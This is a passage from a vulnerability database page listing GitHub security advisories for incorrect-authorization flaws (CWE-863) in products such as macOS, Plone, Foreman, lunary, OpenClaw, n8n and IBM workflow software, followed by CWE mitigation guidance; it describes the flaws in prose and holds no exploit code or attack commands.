"summary": "Open WebUI: Any authenticated user can read other users\u0027 private notes via Socket.IO"
}
GHSA-8792-J7XC-QCGV
Vulnerability from github – Published: 2024-10-28 21:30 – Updated: 2026-04-02 21:32
VLAI
Details
The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.1, macOS Sonoma 14.7.1. A malicious application may be able to modify protected parts of the file system.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-44301"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-28T21:15:08Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.1, macOS Sonoma 14.7.1. A malicious application may be able to modify protected parts of the file system.",
"id": "GHSA-8792-j7xc-qcgv",
"modified": "2026-04-02T21:32:00Z",
"published": "2024-10-28T21:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44301"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121564"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121568"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121570"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Oct/11"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Oct/12"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Oct/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-879R-7F3W-8JJ3
Vulnerability from github – Published: 2018-07-23 19:52 – Updated: 2024-10-11 20:52
VLAI
Summary
Plone and Zope2 vulnerable to unauthorized access to restricted attributes
Details
The App.Undo.UndoSupport.get_request_var_or_attr function in Zope before 2.12.21 and 3.13.x before 2.13.11, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote authenticated users to gain access to restricted attributes via unspecified vectors.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Zope2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.12.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Zope2"
},
"ranges": [
{
"events": [
{
"introduced": "2.13.0"
},
{
"fixed": "2.13.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.2"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.3a2"
},
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "4.3a1"
},
{
"fixed": "4.3b1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-5489"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:24:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "The App.Undo.UndoSupport.get_request_var_or_attr function in Zope before 2.12.21 and 3.13.x before 2.13.11, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote authenticated users to gain access to restricted attributes via unspecified vectors.",
"id": "GHSA-879r-7f3w-8jj3",
"modified": "2024-10-11T20:52:23Z",
"published": "2018-07-23T19:52:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5489"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/zope2/+bug/1079238"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-879r-7f3w-8jj3"
},
{
"type": "WEB",
"url": "https://github.com/plone/Products.CMFPlone/blob/4.2.3/docs/CHANGES.txt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2014-31.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/zope2/PYSEC-2014-74.yaml"
},
{
"type": "WEB",
"url": "https://plone.org/products/plone-hotfix/releases/20121106"
},
{
"type": "WEB",
"url": "https://plone.org/products/plone/security/advisories/20121106/05"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/11/10/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Plone and Zope2 vulnerable to unauthorized access to restricted attributes"
}
GHSA-87G3-C5F5-MJMM
Vulnerability from github – Published: 2022-03-26 00:00 – Updated: 2022-04-05 00:01
VLAI
Details
An improper authorization handling flaw was found in Foreman. The OpenSCAP plugin for the smart-proxy allows foreman clients to execute actions that should be limited to the Foreman Server. This flaw allows an authenticated local attacker to access and delete limited resources and also causes a denial of service on the Foreman server. The highest threat from this vulnerability is to integrity and system availability.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2021-20290"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-25T19:15:00Z",
"severity": "MODERATE"
},
"details": "An improper authorization handling flaw was found in Foreman. The OpenSCAP plugin for the smart-proxy allows foreman clients to execute actions that should be limited to the Foreman Server. This flaw allows an authenticated local attacker to access and delete limited resources and also causes a denial of service on the Foreman server. The highest threat from this vulnerability is to integrity and system availability.",
"id": "GHSA-87g3-c5f5-mjmm",
"modified": "2022-04-05T00:01:02Z",
"published": "2022-03-26T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20290"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1939701"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-882M-54CG-63Q7
Vulnerability from github – Published: 2024-04-10 18:30 – Updated: 2024-04-10 18:30
VLAI
Details
An Insecure Direct Object Reference (IDOR) vulnerability exists in the lunary-ai/lunary application version 0.3.0, allowing unauthorized deletion of any organization's project. The vulnerability is due to insufficient authorization checks in the project deletion endpoint, where the endpoint fails to verify if the project ID provided in the request belongs to the requesting user's organization. As a result, an attacker can delete projects belonging to any organization by sending a crafted DELETE request with the target project's ID. This issue affects the project deletion functionality implemented in the projects.delete route.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-1625"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T17:15:52Z",
"severity": "HIGH"
},
"details": "An Insecure Direct Object Reference (IDOR) vulnerability exists in the lunary-ai/lunary application version 0.3.0, allowing unauthorized deletion of any organization\u0027s project. The vulnerability is due to insufficient authorization checks in the project deletion endpoint, where the endpoint fails to verify if the project ID provided in the request belongs to the requesting user\u0027s organization. As a result, an attacker can delete projects belonging to any organization by sending a crafted DELETE request with the target project\u0027s ID. This issue affects the project deletion functionality implemented in the projects.delete route.",
"id": "GHSA-882m-54cg-63q7",
"modified": "2024-04-10T18:30:48Z",
"published": "2024-04-10T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1625"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/88f98e29f19da9d1f5de45c5b163fd5b48e0bcec"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/cf6dd625-e6c9-44df-a072-13686816de21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8883-9W57-VWV6
Vulnerability from github – Published: 2026-03-26 21:23 – Updated: 2026-04-10 19:41
VLAI
Summary
OpenClaw: Mattermost callback dispatch allowed non-allowlisted sender actions
Details
Summary
Mattermost interactive callback dispatch could run action handlers before normal sender authorization checks completed.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected: < 2026.3.22
- Fixed: >= 2026.3.22
- Latest released tag checked:
v2026.3.23-2(630f1479c44f78484dfa21bb407cbe6f171dac87) - Latest published npm version checked:
2026.3.23-2
Fix Commit(s)
a47722de7e3c9cbda8d5512747ca7e3bb8f6ee66
Release Status
The fix shipped in v2026.3.22 and remains present in v2026.3.23 and v2026.3.23-2.
Code-Level Confirmation
- extensions/mattermost/src/mattermost/interactions.ts now requires callback authorization before dispatching actions.
- extensions/mattermost/src/mattermost/monitor.ts routes callback authorization through the same sender and allowlist policy used for normal ingress.
OpenClaw thanks @zpbrent for reporting.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35652"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-696",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T21:23:04Z",
"nvd_published_at": "2026-04-10T17:17:05Z",
"severity": "MODERATE"
},
"details": "## Summary\nMattermost interactive callback dispatch could run action handlers before normal sender authorization checks completed.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: \u003c 2026.3.22\n- Fixed: \u003e= 2026.3.22\n- Latest released tag checked: `v2026.3.23-2` (`630f1479c44f78484dfa21bb407cbe6f171dac87`)\n- Latest published npm version checked: `2026.3.23-2`\n\n## Fix Commit(s)\n- `a47722de7e3c9cbda8d5512747ca7e3bb8f6ee66`\n\n## Release Status\nThe fix shipped in `v2026.3.22` and remains present in `v2026.3.23` and `v2026.3.23-2`.\n\n## Code-Level Confirmation\n- extensions/mattermost/src/mattermost/interactions.ts now requires callback authorization before dispatching actions.\n- extensions/mattermost/src/mattermost/monitor.ts routes callback authorization through the same sender and allowlist policy used for normal ingress.\n\nOpenClaw thanks @zpbrent for reporting.",
"id": "GHSA-8883-9w57-vwv6",
"modified": "2026-04-10T19:41:54Z",
"published": "2026-03-26T21:23:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8883-9w57-vwv6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35652"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/a47722de7e3c9cbda8d5512747ca7e3bb8f6ee66"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-unauthorized-action-execution-via-callback-dispatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Mattermost callback dispatch allowed non-allowlisted sender actions"
}
GHSA-88C4-PCQM-3R9P
Vulnerability from github – Published: 2026-07-22 12:32 – Updated: 2026-07-22 22:31
VLAI
Summary
Duplicate Advisory: GraphQL Node Bypasses "Allowed HTTP Request Domains" Restriction
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-gq66-9cw5-j5jm. This link is maintained to preserve external references.
Original Description
n8n before 1.123.64, 2.29.8, and 2.30.1 fails to enforce the "Allowed HTTP Request Domains" restriction on HTTP-based credentials (Header Auth, Basic Auth, Query Auth, OAuth) in the GraphQL node, unlike the HTTP Request node. An authenticated user able to create or edit workflows can point the node's endpoint at a server they control and exfiltrate restricted credentials. Only instances where a credential has "Allowed HTTP Request Domains" configured and is usable by non-owner users are affected.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.123.64"
},
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:31:50Z",
"nvd_published_at": "2026-07-22T12:18:19Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-gq66-9cw5-j5jm. This link is maintained to preserve external references.\n\n## Original Description\nn8n before 1.123.64, 2.29.8, and 2.30.1 fails to enforce the \"Allowed HTTP Request Domains\" restriction on HTTP-based credentials (Header Auth, Basic Auth, Query Auth, OAuth) in the GraphQL node, unlike the HTTP Request node. An authenticated user able to create or edit workflows can point the node\u0027s endpoint at a server they control and exfiltrate restricted credentials. Only instances where a credential has \"Allowed HTTP Request Domains\" configured and is usable by non-owner users are affected.",
"id": "GHSA-88c4-pcqm-3r9p",
"modified": "2026-07-22T22:31:50Z",
"published": "2026-07-22T12:32:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-gq66-9cw5-j5jm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65596"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/n8n-before-credential-exfiltration-via-graphql-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: GraphQL Node Bypasses \"Allowed HTTP Request Domains\" Restriction",
"withdrawn": "2026-07-22T22:31:50Z"
}
GHSA-88FR-HQ55-5PW4
Vulnerability from github – Published: 2021-12-22 00:00 – Updated: 2022-07-13 00:01
VLAI
Details
IBM Business Process Manager 8.5 and 8.6 and IBM Business Automation Workflow 18.0, 19.0, 20.0 and 21.0 could allow a privileged user to obtain highly sensitive information due to improper access controls. IBM X-Force ID: 209607.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2021-38900"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-21T19:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Business Process Manager 8.5 and 8.6 and IBM Business Automation Workflow 18.0, 19.0, 20.0 and 21.0 could allow a privileged user to obtain highly sensitive information due to improper access controls. IBM X-Force ID: 209607.",
"id": "GHSA-88fr-hq55-5pw4",
"modified": "2022-07-13T00:01:35Z",
"published": "2021-12-22T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38900"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/209607"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6527776"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6528296"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-88G7-CMJ2-GCXR
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09
VLAI
Details
This issue was addressed with improved checks. This issue is fixed in iOS 13.3.1 and iPadOS 13.3.1. Users removed from an iMessage conversation may still be able to alter state.
{
"affected": [],
"aliases": [
"CVE-2020-3844"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-27T21:15:00Z",
"severity": "LOW"
},
"details": "This issue was addressed with improved checks. This issue is fixed in iOS 13.3.1 and iPadOS 13.3.1. Users removed from an iMessage conversation may still be able to alter state.",
"id": "GHSA-88g7-cmj2-gcxr",
"modified": "2022-05-24T17:09:47Z",
"published": "2022-05-24T17:09:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3844"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210918"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Architecture and Design
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration
Installation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.